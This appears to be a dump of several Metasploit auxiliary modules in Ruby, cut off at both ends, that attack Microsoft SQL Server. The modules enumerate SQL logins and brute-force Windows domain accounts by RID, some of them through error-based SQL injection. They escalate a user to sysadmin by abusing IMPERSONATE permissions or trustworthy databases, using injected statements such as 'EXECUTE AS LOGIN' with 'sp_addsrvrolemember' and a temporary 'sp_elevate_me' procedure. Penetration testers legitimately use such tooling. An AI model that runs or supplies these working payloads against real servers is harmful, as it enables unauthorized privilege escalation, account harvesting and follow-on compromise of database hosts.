56 | print_status("#{datastore['USERNAME']} is NOT a sysadmin.")
57 | end
58 |
59 | # Get a list if sql server logins using SUSER_NAME()
60 | print_status("Setup to fuzz #{datastore['FuzzNum']} SQL Server logins.")
61 | print_status("Enumerating logins...")
62 | sql_logins_list = get_sql_logins
63 | if sql_logins_list.nil? || sql_logins_list.length == 0
64 | print_error('Sorry, somethings went wrong - SQL Server logins were found.')
65 | disconnect
66 | return
67 | else
68 | # Print number of initial logins found
69 | print_good("#{sql_logins_list.length} initial SQL Server logins were found.")
70 |
71 | sql_logins_list.sort.each do |sql_login|
72 | if datastore['VERBOSE']
73 | print_status(" - #{sql_login}")
74 | end
75 | end
76 | end
77 |
78 | # Verify the enumerated SQL Logins using sp_defaultdb error ananlysis
79 | print_status('Verifying the SQL Server logins...')
80 | sql_logins_list_verified = verify_logins(sql_logins_list)
81 | if sql_logins_list_verified.nil?
82 | print_error("Sorry, no SQL Server logins could be verified.")
83 | disconnect
84 | return
85 | else
86 |
87 | # Display list verified SQL Server logins
88 | print_good("#{sql_logins_list_verified.length} SQL Server logins were verified:")
89 | sql_logins_list_verified.sort.each do |sql_login|
90 | print_status(" - #{sql_login}")
91 | end
92 | end
93 |
94 | disconnect
95 | return
96 | end
97 |
98 | # Checks if user is a sysadmin
99 | def check_sysadmin
100 | # Setup query to check for sysadmin
101 | sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
102 |
103 | # Run query
104 | result = mssql_query(sql)
105 |
106 | # Parse query results
107 | parse_results = result[:rows]
108 | status = parse_results[0][0]
109 |
110 | # Return status
111 | return status
112 | end
113 |
114 | # Gets trusted databases owned by sysadmins
115 | def get_sql_logins
116 |
117 | # Create array to store the sql logins
118 | sql_logins = []
119 |
120 | # Fuzz the principal_id parameter passed to the SUSER_NAME function
121 | (1..datastore['FuzzNum']).each do|principal_id|
122 |
123 | # Setup query
124 | sql = "SELECT SUSER_NAME(#{principal_id}) as login"
125 |
126 | # Execute query
127 | result = mssql_query(sql)
128 |
129 | # Parse results
130 | parse_results = result[:rows]
131 | sql_login = parse_results[0][0]
132 |
133 | # Add to sql server login list
134 | sql_logins.push(sql_login) unless sql_logins.include?(sql_login)
135 | end
136 |
137 | # Return list of logins
138 | sql_logins
139 |
140 | end
141 |
142 | # Checks if user has the db_owner role
143 | def verify_logins(sql_logins_list)
144 |
145 | # Create array for later use
146 | verified_sql_logins = []
147 |
148 | # Check if the user has the db_owner role is any databases
149 | sql_logins_list.each do |sql_login|
150 |
151 | # Setup query
152 | sql = "EXEC sp_defaultdb '#{sql_login}', 'NOTAREALDATABASE1234ABCD'"
153 |
154 | # Execute query
155 | result = mssql_query(sql)
156 |
157 | # Parse results
158 | parse_results = result[:errors]
159 | result = parse_results[0]
160 |
161 | # Check if sid resolved to a sql login
162 | if result.include? 'NOTAREALDATABASE1234ABCD'
163 | verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login)
164 | end
165 |
166 | # Check if sid resolved to a sql login
167 | if result.include? 'alter the login'
168 |
169 | # Add sql server login to verified list
170 | verified_sql_logins.push(sql_login) unless verified_sql_logins.include?(sql_login)
171 | end
172 | end
173 | verified_sql_logins
174 | end
175 | end
176 |
--------------------------------------------------------------------------------
/mssql_escalate_executeas_sqli.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This module requires Metasploit: http//metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ##
5 |
6 | require 'msf/core'
7 | require 'msf/core/exploit/mssql_commands'
8 |
9 | class Metasploit3 < Msf::Auxiliary
10 |
11 | include Msf::Exploit::Remote::MSSQL_SQLI
12 | include Msf::Auxiliary::Report
13 |
14 | def initialize(info = {})
15 | super(update_info(info,
16 | 'Name' => 'Microsoft SQL Server - SQLi Escalate Execute As',
17 | 'Description' => %q{
18 | This module can be used escalate privileges if the IMPERSONATION privilege has been assigned to the user
19 | via error based SQL injection. In most cases this results in additional data access, but in some cases it can be used to gain sysadmin
20 | privileges.
21 |
22 | The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--
23 | },
24 | 'Author' => [ 'nullbind '],
25 | 'License' => MSF_LICENSE,
26 | 'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
27 | ))
28 | end
29 |
30 | def run
31 | # Get the database user name
32 | print_status("#{peer} - Grabbing the database user name...")
33 | db_user = get_username
34 | if db_user.nil?
35 | print_error("#{peer} - Unable to grab user name...")
36 | return
37 | else
38 | print_good("#{peer} - Database user: #{db_user}")
39 | end
40 |
41 | # Grab sysadmin status
42 | print_status("#{peer} - Checking if #{db_user} is already a sysadmin...")
43 | admin_status = check_sysadmin
44 |
45 | if admin_status.nil?
46 | print_error("#{peer} - Couldn't retrieve user status, aborting...")
47 | return
48 | elsif admin_status == '1'
49 | print_error("#{peer} - #{db_user} is already a sysadmin, no escalation needed.")
50 | return
51 | else
52 | print_status("#{peer} - #{db_user} is NOT a sysadmin, let's try to escalate privileges.")
53 | end
54 |
55 | # Get list of users that can be impersonated
56 | print_status("#{peer} - Enumerating a list of users that can be impersonated...")
57 | imp_user_list = check_imp_users
58 | if imp_user_list.nil? || imp_user_list.length == 0
59 | print_error('#{peer} - Sorry, the current user doesnt have permissions to impersonate anyone.')
60 | return
61 | else
62 | # Display list of users that can be impersonated
63 | print_good("#{peer} - #{imp_user_list.length} users can be impersonated:")
64 | imp_user_list.each do |dbuser|
65 | print_status("#{peer} - #{dbuser}")
66 | end
67 | end
68 |
69 | # Check if any of the users that can be impersonated are sysadmins
70 | print_status("#{peer} - Checking if any of them are sysadmins...")
71 | imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
72 | if imp_user_sysadmin.nil?
73 | print_error("#{peer} - Sorry, none of the users that can be impersonated are sysadmins.")
74 | return
75 | end
76 |
77 | # Attempt to escalate to sysadmin
78 | print_status("#{peer} - Attempting to impersonate #{imp_user_sysadmin}...")
79 | escalate_privs(imp_user_sysadmin,db_user)
80 |
81 | admin_status = check_sysadmin
82 | if admin_status && admin_status == '1'
83 | print_good("#{peer} - Success! #{db_user} is now a sysadmin!")
84 | else
85 | print_error("#{peer} - Fail buckets, something went wrong.")
86 | end
87 | end
88 |
89 | def peer
90 | "#{rhost}:#{rport}"
91 | end
92 |
93 | def get_username
94 | # Setup query to check for database username
95 | clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
96 | clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
97 | sql = "(select '#{clue_start}'+SYSTEM_USER+'#{clue_end}')"
98 |
99 | # Run query
100 | result = mssql_query(sql)
101 |
102 | # Parse result
103 | if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
104 | user_name = $1
105 | else
106 | user_name = nil
107 | end
108 |
109 | user_name
110 | end
111 |
112 | def check_sysadmin
113 | # Setup query to check for sysadmin
114 | clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
115 | clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
116 | sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin'))as varchar)+'#{clue_end}')"
117 |
118 | # Run query
119 | result = mssql_query(sql)
120 |
121 | # Parse result
122 | if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
123 | status = $1
124 | else
125 | status = nil
126 | end
127 |
128 | status
129 | end
130 |
131 | def check_imp_users
132 | # Setup query to check for trusted databases owned by sysadmins
133 | clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
134 | clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
135 |
136 | # Setup query
137 | sql = "(select cast((SELECT DISTINCT '#{clue_start}'+b.name+'#{clue_end}'
138 | FROM sys.server_permissions a
139 | INNER JOIN sys.server_principals b
140 | ON a.grantor_principal_id = b.principal_id
141 | WHERE a.permission_name = 'IMPERSONATE' for xml path('')) as int))"
142 |
143 | # Run query
144 | res = mssql_query(sql)
145 |
146 | unless res && res.body
147 | return nil
148 | end
149 |
150 | #Parse results
151 | parsed_result = res.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
152 |
153 | if parsed_result && !parsed_result.empty?
154 | parsed_result.flatten!
155 | parsed_result.uniq!
156 | end
157 |
158 | parsed_result
159 | end
160 |
161 | def check_imp_sysadmin(imp_user_list)
162 | # Check if the user has the db_owner role is any databases
163 | imp_user_list.each do |imp_user|
164 | # Setup query
165 | clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
166 | clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
167 |
168 | sql = "(select '#{clue_start}'+cast((select is_srvrolemember('sysadmin','#{imp_user}'))as varchar)+'#{clue_end}')"
169 |
170 | # Run query
171 | result = mssql_query(sql)
172 |
173 | unless result && result.body
174 | next
175 | end
176 |
177 | #Parse results
178 | parsed_result = result.body.scan(/#{clue_start}(.*?)#{clue_end}/m)
179 |
180 | if parsed_result && !parsed_result.empty?
181 | parsed_result.flatten!
182 | parsed_result.uniq!
183 | end
184 |
185 | # check if user is a sysadmin
186 | if parsed_result[0] == '1'
187 | print_good("#{peer} - #{imp_user} is a sysadmin!")
188 | return imp_user
189 | else
190 | print_status("#{peer} - #{imp_user} is NOT a sysadmin")
191 | end
192 | end
193 |
194 | nil
195 | end
196 |
197 | # Attempt to escalate privileges
198 | def escalate_privs(imp_user,db_user)
199 |
200 | # Setup Query - Impersonate the first sysadmin user on the list
201 | evil_sql = "1;EXECUTE AS LOGIN = 'sa';EXEC sp_addsrvrolemember 'MyUser1','sysadmin';Revert;--"
202 |
203 | # Execute Query
204 | result = mssql_query(evil_sql)
205 | end
206 | end
207 |
--------------------------------------------------------------------------------
/mssql_escalate_dbowner_sqli.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This module requires Metasploit: http//metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ##
5 |
6 | require 'msf/core'
7 | require 'msf/core/exploit/mssql_commands'
8 |
9 | class Metasploit3 < Msf::Auxiliary
10 |
11 | include Msf::Exploit::Remote::MSSQL_SQLI
12 | include Msf::Auxiliary::Report
13 |
14 | def initialize(info = {})
15 | super(update_info(info,
16 | 'Name' => 'Microsoft SQL Server - Escalate Db_Owner - SQLi',
17 | 'Description' => %q{
18 | This module can be used to escalate privileges to sysadmin if the user has
19 | the db_owner role in a trustworthy database owned by a sysadmin user. Once
20 | the user has the sysadmin role the mssql_payload_sqli module can be used to obtain
21 | a shell on the system.
22 |
23 | Syntax for injection URLs:
24 |
25 | Error: /account.asp?id=1+and+1=[SQLi];--
26 | },
27 | 'Author' =>
28 | [
29 | 'nullbind '
30 | ],
31 | 'Author' => [ 'nullbind '],
32 | 'License' => MSF_LICENSE,
33 | 'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
34 | ))
35 | end
36 |
37 | def run
38 |
39 | # Get the database user name
40 | print_status("Grabbing the database user name from #{rhost}:#{rport}...")
41 | db_user = get_username
42 | print_good("Database user: #{db_user}")
43 |
44 | # Grab sysadmin status
45 | print_status("Checking if #{db_user} is already a sysadmin...")
46 | sysadmin_status = check_sysadmin
47 | if sysadmin_status == 1
48 | print_good("#{db_user} is already a sysadmin, no esclation needed.")
49 | return
50 | else
51 | print_good("#{db_user} is NOT a sysadmin, let's try to escalate privileges.")
52 | end
53 |
54 | # Check for trusted databases owned by sysadmins
55 | print_status("Checking for trusted databases owned by sysadmins...")
56 | trust_db_list = check_trust_dbs
57 | if trust_db_list.nil? || trust_db_list.length == 0
58 | print_error('No databases owned by sysadmin were found flagged as trustworthy.')
59 | return
60 | else
61 | # Display list of accessible databases to user
62 | print_good("#{trust_db_list.length} affected database(s) were found:")
63 |
64 | if trust_db_list.length == 1
65 | trust_db_one = trust_db_list.flatten.first
66 | print_status(" - #{trust_db_one}")
67 | else
68 | trust_db_list.each do |db|
69 | print_status(" - #{db[0]}")
70 | end
71 | end
72 | end
73 |
74 | # Check if the user has the db_owner role in any of the databases
75 | print_status("Checking if #{db_user} has the db_owner role in any of them...")
76 | dbowner_status = check_db_owner(trust_db_list)
77 | if dbowner_status.nil?
78 | print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
79 | return
80 | else
81 | print_good("#{db_user} has the db_owner role on #{dbowner_status}.")
82 | end
83 |
84 | # Attempt to escalate to sysadmin
85 | print_status("Attempting to add #{db_user} to sysadmin role...")
86 | escalate_status = escalate_privs(dbowner_status,db_user)
87 | if escalate_status == 1
88 | print_good("Success! #{db_user} is now a sysadmin!")
89 | else
90 | print_error("Fail buckets, something went wrong.")
91 | end
92 | end
93 |
94 | #
95 | # Functions
96 | #
97 |
98 | def get_username
99 | # Setup query to check for database username
100 | sql = "(select 'EVILSQLISTART'+SYSTEM_USER+'EVILSQLISTOP')"
101 |
102 | # Run query
103 | result = mssql_query(sql)
104 |
105 | # Parse result
106 | parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first
107 |
108 | # Return user name
109 | return parsed_result
110 | end
111 |
112 | def check_sysadmin
113 | # Setup query to check for sysadmin
114 | sql = "(select 'EVILSQLISTART'+cast((select is_srvrolemember('sysadmin'))as varchar)+'EVILSQLISTOP')"
115 |
116 | # Run query
117 | result = mssql_query(sql)
118 |
119 | # Parse result
120 | parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first
121 |
122 | # Return sysadmin status
123 | return parsed_result.to_i
124 | end
125 |
126 | def check_trust_dbs
127 | # Setup query to check for trusted databases owned by sysadmins
128 | sql = "(select cast((SELECT 'EVILSQLISTART'+d.name+'EVILSQLISTOP' as DbName
129 | FROM sys.server_principals r
130 | INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
131 | INNER JOIN sys.server_principals p ON
132 | p.principal_id = m.member_principal_id
133 | inner join sys.databases d on suser_sname(d.owner_sid) = p.name
134 | WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin' for xml path('')) as int))"
135 |
136 | # Run query
137 | result = mssql_query(sql)
138 |
139 | #Parse results
140 | parsed_result = result.body.scan(/EVILSQLISTART(.*?)EVILSQLISTOP/m)
141 |
142 | # Return sysadmin status
143 | return parsed_result
144 | end
145 |
146 | def check_db_owner(trust_db_list)
147 | # Check if the user has the db_owner role is any databases
148 | trust_db_list.each do |db|
149 | # Setup query
150 | sql = "(select 'EVILSQLISTART'+'#{db[0]}'+'EVILSQLISTOP' as DbName
151 | from [#{db[0]}].sys.database_role_members drm
152 | join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
153 | join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
154 | where rp.name = 'db_owner' and mp.name = SYSTEM_USER for xml path(''))"
155 |
156 | # Run query
157 | result = mssql_query(sql)
158 |
159 | # Parse result
160 | parsed_result =result.body.scan( /EVILSQLISTART([^>]*)EVILSQLISTOP/).last.first
161 |
162 | # Return sysadmin status
163 | return parsed_result
164 | end
165 | nil
166 | end
167 |
168 | # Attempt to escalate privileges
169 | def escalate_privs(dbowner_db,db_user)
170 | # Create the evil stored procedure WITH EXECUTE AS OWNER
171 | evil_sql_create = "1;use #{dbowner_db};
172 | DECLARE @myevil as varchar(max)
173 | set @myevil = '
174 | CREATE PROCEDURE sp_elevate_me
175 | WITH EXECUTE AS OWNER
176 | as
177 | begin
178 | EXEC sp_addsrvrolemember ''#{db_user}'',''sysadmin''
179 | end';
180 | exec(@myevil);--"
181 | mssql_query(evil_sql_create)
182 |
183 | # Run the evil stored procedure
184 | evilsql_run = "1;use #{dbowner_db};
185 | DECLARE @myevil2 as varchar(max)
186 | set @myevil2 = 'EXEC sp_elevate_me'
187 | exec(@myevil2);--"
188 | mssql_query(evilsql_run)
189 |
190 | # Remove evil procedure
191 | evilsql_remove = "1;use #{dbowner_db};
192 | DECLARE @myevil3 as varchar(max)
193 | set @myevil3 = 'DROP PROCEDURE sp_elevate_me'
194 | exec(@myevil3);--"
195 | mssql_query(evilsql_remove)
196 |
197 | # Check sysadmin status
198 | sysadmin_status = check_sysadmin
199 |
200 | # return parsed_result
201 | return sysadmin_status.to_i
202 | end
203 | end
204 |
--------------------------------------------------------------------------------
/mssql_enum_windows_domain_accounts_sqli.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This module requires Metasploit: http://metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ##
5 |
6 | require 'msf/core'
7 | require 'msf/core/exploit/mssql_commands'
8 |
9 | class Metasploit3 < Msf::Auxiliary
10 |
11 | include Msf::Exploit::Remote::MSSQL_SQLI
12 | include Msf::Auxiliary::Report
13 |
14 | def initialize(info = {})
15 | super(update_info(info,
16 | 'Name' => 'Microsoft SQL Server SQLi SUSER_SNAME Windows Domain Account Enumeration',
17 | 'Description' => %q{
18 | This module can be used to bruteforce RIDs associated with the domain of the SQL Server
19 | using the SUSER_SNAME function via Error Based SQL injection. This is similar to the
20 | smb_lookupsid module, but executed through SQL Server queries as any user with the PUBLIC
21 | role (everyone). Information that can be enumerated includes Windows domain users, groups,
22 | and computer accounts. Enumerated accounts can then be used in online dictionary attacks.
23 | The syntax for injection URLs is: /testing.asp?id=1+and+1=[SQLi];--
24 | },
25 | 'Author' =>
26 | [
27 | 'nullbind ',
28 | 'antti '
29 | ],
30 | 'License' => MSF_LICENSE,
31 | 'References' => [[ 'URL','http://msdn.microsoft.com/en-us/library/ms174427.aspx']]
32 | ))
33 |
34 | register_options(
35 | [
36 | OptInt.new('STARTRID', [true, 'RID to start fuzzing at.', 500]),
37 | OptInt.new('ENDRID', [true, 'RID to stop fuzzing at.', 3000])
38 | ], self.class)
39 | end
40 |
41 | def run
42 | print_status("#{peer} - Grabbing the SQL Server name and domain...")
43 | db_server_name = get_server_name
44 | if db_server_name.nil?
45 | print_error("#{peer} - Unable to grab the server name")
46 | return
47 | else
48 | print_good("#{peer} - Server name: #{db_server_name}")
49 | end
50 |
51 | db_domain_name = get_domain_name
52 | if db_domain_name.nil?
53 | print_error("#{peer} - Unable to grab domain name")
54 | return
55 | end
56 |
57 | # Check if server is on a domain
58 | if db_server_name == db_domain_name
59 | print_error("#{peer} - The SQL Server does not appear to be part of a Windows domain")
60 | return
61 | else
62 | print_good("#{peer} - Domain name: #{db_domain_name}")
63 | end
64 |
65 | print_status("#{peer} - Grabbing the SID for the domain...")
66 | windows_domain_sid = get_windows_domain_sid(db_domain_name)
67 | if windows_domain_sid.nil?
68 | print_error("#{peer} - Could not recover the SQL Server's domain sid.")
69 | return
70 | else
71 | print_good("#{peer} - Domain sid: #{windows_domain_sid}")
72 | end
73 |
74 | # Get a list of windows users, groups, and computer accounts using SUSER_NAME()
75 | total_rids = datastore['ENDRID'] - datastore['STARTRID']
76 | print_status("#{peer} - Brute forcing #{total_rids} RIDs via SQL injection, be patient...")
77 | domain_users = get_win_domain_users(windows_domain_sid)
78 | if domain_users.nil?
79 | print_error("#{peer} - Sorry, no Windows domain accounts were found, or DC could not be contacted.")
80 | return
81 | end
82 |
83 | # Print number of objects found and write to a file
84 | print_good("#{peer} - #{domain_users.length} user accounts, groups, and computer accounts were found.")
85 |
86 | # Create table for report
87 | windows_domain_login_table = Rex::Ui::Text::Table.new(
88 | 'Header' => 'Windows Domain Accounts',
89 | 'Ident' => 1,
90 | 'Columns' => ['name']
91 | )
92 |
93 | # Add brute forced names to table
94 | domain_users.each do |object_name|
95 | windows_domain_login_table << [object_name]
96 | end
97 |
98 | print_line(windows_domain_login_table.to_s)
99 |
100 | # Create output file
101 | filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_windows_domain_accounts.csv"
102 | path = store_loot(
103 | 'mssql.domain.accounts',
104 | 'text/plain',
105 | datastore['RHOST'],
106 | windows_domain_login_table.to_csv,
107 | filename,
108 | 'SQL Server query results'
109 | )
110 | print_status("Query results have been saved to: #{path}")
111 | end
112 |
113 | # Get the server name
114 | def get_server_name
115 | clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
116 | clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
117 | sql = "(select '#{clue_start}'+@@servername+'#{clue_end}')"
118 |
119 | result = mssql_query(sql)
120 |
121 | if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
122 | instance_name = $1
123 | sql_server_name = instance_name.split('\\')[0]
124 | else
125 | sql_server_name = nil
126 | end
127 |
128 | sql_server_name
129 | end
130 |
131 | # Get the domain name of the SQL Server
132 | def get_domain_name
133 | clue_start = Rex::Text.rand_text_alpha(8 + rand(4))
134 | clue_end = Rex::Text.rand_text_alpha(8 + rand(4))
135 | sql = "(select '#{clue_start}'+DEFAULT_DOMAIN()+'#{clue_end}')"
136 |
137 | result = mssql_query(sql)
138 |
139 | if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
140 | domain_name = $1
141 | else
142 | domain_name = nil
143 | end
144 |
145 | domain_name
146 | end
147 |
148 | # Get the SID for the domain
149 | def get_windows_domain_sid(db_domain_name)
150 | domain_group = "#{db_domain_name}\\Domain Admins"
151 |
152 | clue_start = Rex::Text.rand_text_alpha(8)
153 | clue_end = Rex::Text.rand_text_alpha(8)
154 |
155 | sql = "(select cast('#{clue_start}'+(select stuff(upper(sys.fn_varbintohexstr((SELECT SUSER_SID('#{domain_group}')))), 1, 2, ''))+'#{clue_end}' as int))"
156 |
157 | result = mssql_query(sql)
158 |
159 | if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
160 | object_sid = $1
161 | domain_sid = object_sid[0..47]
162 | return nil if domain_sid.empty?
163 | else
164 | domain_sid = nil
165 | end
166 |
167 | domain_sid
168 | end
169 |
170 | # Get list of windows accounts, groups and computer accounts
171 | def get_win_domain_users(domain_sid)
172 | clue_start = Rex::Text.rand_text_alpha(8)
173 | clue_end = Rex::Text.rand_text_alpha(8)
174 |
175 | windows_logins = []
176 |
177 | # Fuzz the principal_id parameter (RID in this case) passed to the SUSER_NAME function
178 | (datastore['STARTRID']..datastore['ENDRID']).each do |principal_id|
179 | total_rids = datastore['ENDRID'] - datastore['STARTRID']
180 | rid_diff = (datastore['ENDRID'] - (datastore['ENDRID'] - principal_id)) - datastore['STARTRID']
181 | if principal_id % 100 == 0
182 | print_status("#{peer} - #{rid_diff} of #{total_rids } RIDs complete")
183 | end
184 |
185 | user_sid = build_user_sid(domain_sid, principal_id)
186 |
187 | # Return if sid does not resolve correctly for a domain
188 | if user_sid.length < 48
189 | return nil
190 | end
191 |
192 | sql = "(SELECT '#{clue_start}'+(SELECT SUSER_SNAME(#{user_sid}) as name)+'#{clue_end}')"
193 |
194 | result = mssql_query(sql)
195 |
196 | if result && result.body && result.body =~ /#{clue_start}([^>]*)#{clue_end}/
197 | windows_login = $1
198 |
199 | unless windows_login.empty? || windows_logins.include?(windows_login)
200 | windows_logins.push(windows_login)
201 | print_good("#{peer} - #{windows_login}")
202 | end
203 | end
204 |
205 | end
206 |
207 | windows_logins
208 | end
209 |
210 | def build_user_sid(domain_sid, rid)
211 | # Convert number to hex and fix order
212 | principal_id = "%02X" % rid
213 | principal_id = principal_id.size.even? ? principal_id : "0#{principal_id}"
214 | principal_id = principal_id.scan(/(..)/).reverse.join
215 | # Add padding
216 | principal_id = principal_id.ljust(8, '0')
217 |
218 | # Create full sid
219 | "0x#{domain_sid}#{principal_id}"
220 | end
221 |
222 | end
223 |
--------------------------------------------------------------------------------
/mssql_escalate_dbowner.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This module requires Metasploit: http//metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ##
5 |
6 | require 'msf/core'
7 | require 'msf/core/exploit/mssql_commands'
8 |
9 | class Metasploit3 < Msf::Auxiliary
10 |
11 | include Msf::Exploit::Remote::MSSQL
12 | include Msf::Auxiliary::Scanner
13 |
14 | def initialize(info = {})
15 | super(update_info(info,
16 | 'Name' => 'Microsoft SQL Server - Escalate Db_Owner',
17 | 'Description' => %q{
18 | This module can be used to escalate privileges to sysadmin if the user has
19 | the db_owner role in a "trustworthy" database owned by a sysadmin user. Once
20 | the user has the sysadmin role the msssql_payload module can be used to obtain
21 | a shell on the system.
22 | },
23 | 'Author' => [ 'nullbind '],
24 | 'License' => MSF_LICENSE,
25 | 'References' => [[ 'URL','http://technet.microsoft.com/en-us/library/ms188676(v=sql.105).aspx']]
26 | ))
27 | end
28 |
29 | def run_host(ip)
30 | # Check connection and issue initial query
31 | print_status("Attempting to connect to the database server at #{ip} as #{datastore['username']}...")
32 | if mssql_login_datastore == false
33 | print_error('Login was unsuccessful. Check your credentials.')
34 | disconnect
35 | return
36 | else
37 | print_good('Connected.')
38 | end
39 |
40 | # Query for sysadmin status
41 | print_status("Checking if #{datastore['username']} has the sysadmin role...")
42 | begin
43 | mystatus = check_sysadmin
44 | rescue
45 | print_error('Sorry, the database connection failed.')
46 | end
47 |
48 | # Check if user has sysadmin role
49 | if mystatus == 1
50 | print_good("#{datastore['username']} has the sysadmin role, no escalation required.")
51 | else
52 |
53 | # Check for trusted databases owned by sysadmins
54 | print_status("You're NOT a sysadmin, let's try to change that.")
55 | print_status("Checking for trusted databases owned by sysadmins...")
56 | trustdb_list = check_trustdbs
57 | if trustdb_list == 0
58 | print_error('No databases owned by sysadmin were found flagged as trustworthy.')
59 | else
60 |
61 | # Display list of accessible databases to user
62 | trustdb_list.each { |trustdb|
63 | print_status(" - #{trustdb[0]}")
64 | }
65 |
66 | # Check if the user has the db_owner role in any of the databases
67 | print_status('Checking if the user has the db_owner role in any of them...')
68 | dbowner_status = check_db_owner(trustdb_list)
69 | if dbowner_status == 0
70 | print_error("Fail buckets, the user doesn't have db_owner role anywhere.")
71 | else
72 |
73 | # Attempt to escalate to sysadmin
74 | print_status("Attempting to escalate in #{dbowner_status}...")
75 | escalate_status = escalate_privs(dbowner_status)
76 | if escalate_status == 1
77 |
78 | # Check if escalation was successful
79 | mystatus = check_sysadmin
80 | if mystatus == 1
81 | print_good("Congrats, #{datastore['username']} is now a sysadmin!.")
82 | else
83 | print_error("Fail buckets, something went wrong.")
84 | end
85 | else
86 | print_error("Fail buckets, something went wrong.")
87 | end
88 | end
89 | end
90 | end
91 | end
92 |
93 | # ----------------------------------------------
94 | # Method to check if user is already sysadmin
95 | # ----------------------------------------------
96 | def check_sysadmin
97 | # Setup query to check for sysadmin
98 | sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
99 |
100 | # Run query
101 | result = mssql_query(sql, false) if mssql_login_datastore
102 | disconnect
103 |
104 | # Parse query results
105 | parse_results = result[:rows]
106 | mystatus = parse_results[0][0]
107 |
108 | # Return status
109 | return mystatus
110 | end
111 |
112 | # ----------------------------------------------
113 | # Method to get trusted databases owned by sysadmins
114 | # ----------------------------------------------
115 | def check_trustdbs
116 | # Setup query
117 | sql = "SELECT d.name AS DATABASENAME
118 | FROM sys.server_principals r
119 | INNER JOIN sys.server_role_members m ON r.principal_id = m.role_principal_id
120 | INNER JOIN sys.server_principals p ON
121 | p.principal_id = m.member_principal_id
122 | inner join sys.databases d on suser_sname(d.owner_sid) = p.name
123 | WHERE is_trustworthy_on = 1 AND d.name NOT IN ('MSDB') and r.type = 'R' and r.name = N'sysadmin'"
124 |
125 | begin
126 | # Run query
127 | result = mssql_query(sql, false) if mssql_login_datastore
128 | disconnect
129 |
130 | # Parse query results
131 | parse_results = result[:rows]
132 | trustedb_count = parse_results.count
133 | print_good("#{trustedb_count} affected database(s) were found:")
134 |
135 | # Return on success
136 | return parse_results
137 | rescue
138 | # Return on fail
139 | return 0
140 | end
141 | end
142 |
143 | # ----------------------------------------------
144 | # Method to check if user has the db_owner role
145 | # ----------------------------------------------
146 | def check_db_owner(trustdb_list)
147 | # Check if the user has the db_owner role is any databases
148 | trustdb_list.each { |db|
149 | begin
150 | # Setup query
151 | sql = "use #{db[0]};select db_name() as db,rp.name as database_role, mp.name as database_user
152 | from [#{db[0]}].sys.database_role_members drm
153 | join [#{db[0]}].sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
154 | join [#{db[0]}].sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
155 | where rp.name = 'db_owner' and mp.name = SYSTEM_USER"
156 |
157 | # Run query
158 | result = mssql_query(sql, false) if mssql_login_datastore
159 | disconnect
160 |
161 | # Parse query results
162 | parse_results = result[:rows]
163 | if parse_results.any?
164 | print_good("- db_owner on #{db[0]} found!")
165 | return db[0]
166 | end
167 | rescue
168 | print_error("- No db_owner on #{db[0]}")
169 | end
170 | }
171 | end
172 |
173 | # ----------------------------------------------
174 | # Method to escalate privileges
175 | # ----------------------------------------------
176 | def escalate_privs(dbowner_db)
177 | # Create the evil stored procedure WITH EXECUTE AS OWNER
178 | begin
179 | # Setup query
180 | evilsql_create = "use #{dbowner_db};
181 | DECLARE @myevil as varchar(max)
182 | set @myevil = '
183 | CREATE PROCEDURE sp_elevate_me
184 | WITH EXECUTE AS OWNER
185 | as
186 | begin
187 | EXEC sp_addsrvrolemember ''#{datastore['username']}'',''sysadmin''
188 | end';
189 | exec(@myevil);
190 | select 1;"
191 |
192 | # Run query
193 | mssql_query(evilsql_create, false) if mssql_login_datastore
194 | disconnect
195 | rescue
196 |
197 | # Return error
198 | error = 'Failed to create stored procedure.'
199 | return error
200 | end
201 |
202 | # Run the evil stored procedure
203 | begin
204 |
205 | # Setup query
206 | evilsql_run = "use #{dbowner_db};
207 | DECLARE @myevil2 as varchar(max)
208 | set @myevil2 = 'EXEC sp_elevate_me'
209 | exec(@myevil2);"
210 |
211 | # Run query
212 | mssql_query(evilsql_run, false) if mssql_login_datastore
213 | disconnect
214 | rescue
215 |
216 | # Return error
217 | error = 'Failed to run stored procedure.'
218 | return error
219 | end
220 |
221 | # Remove evil procedure
222 | begin
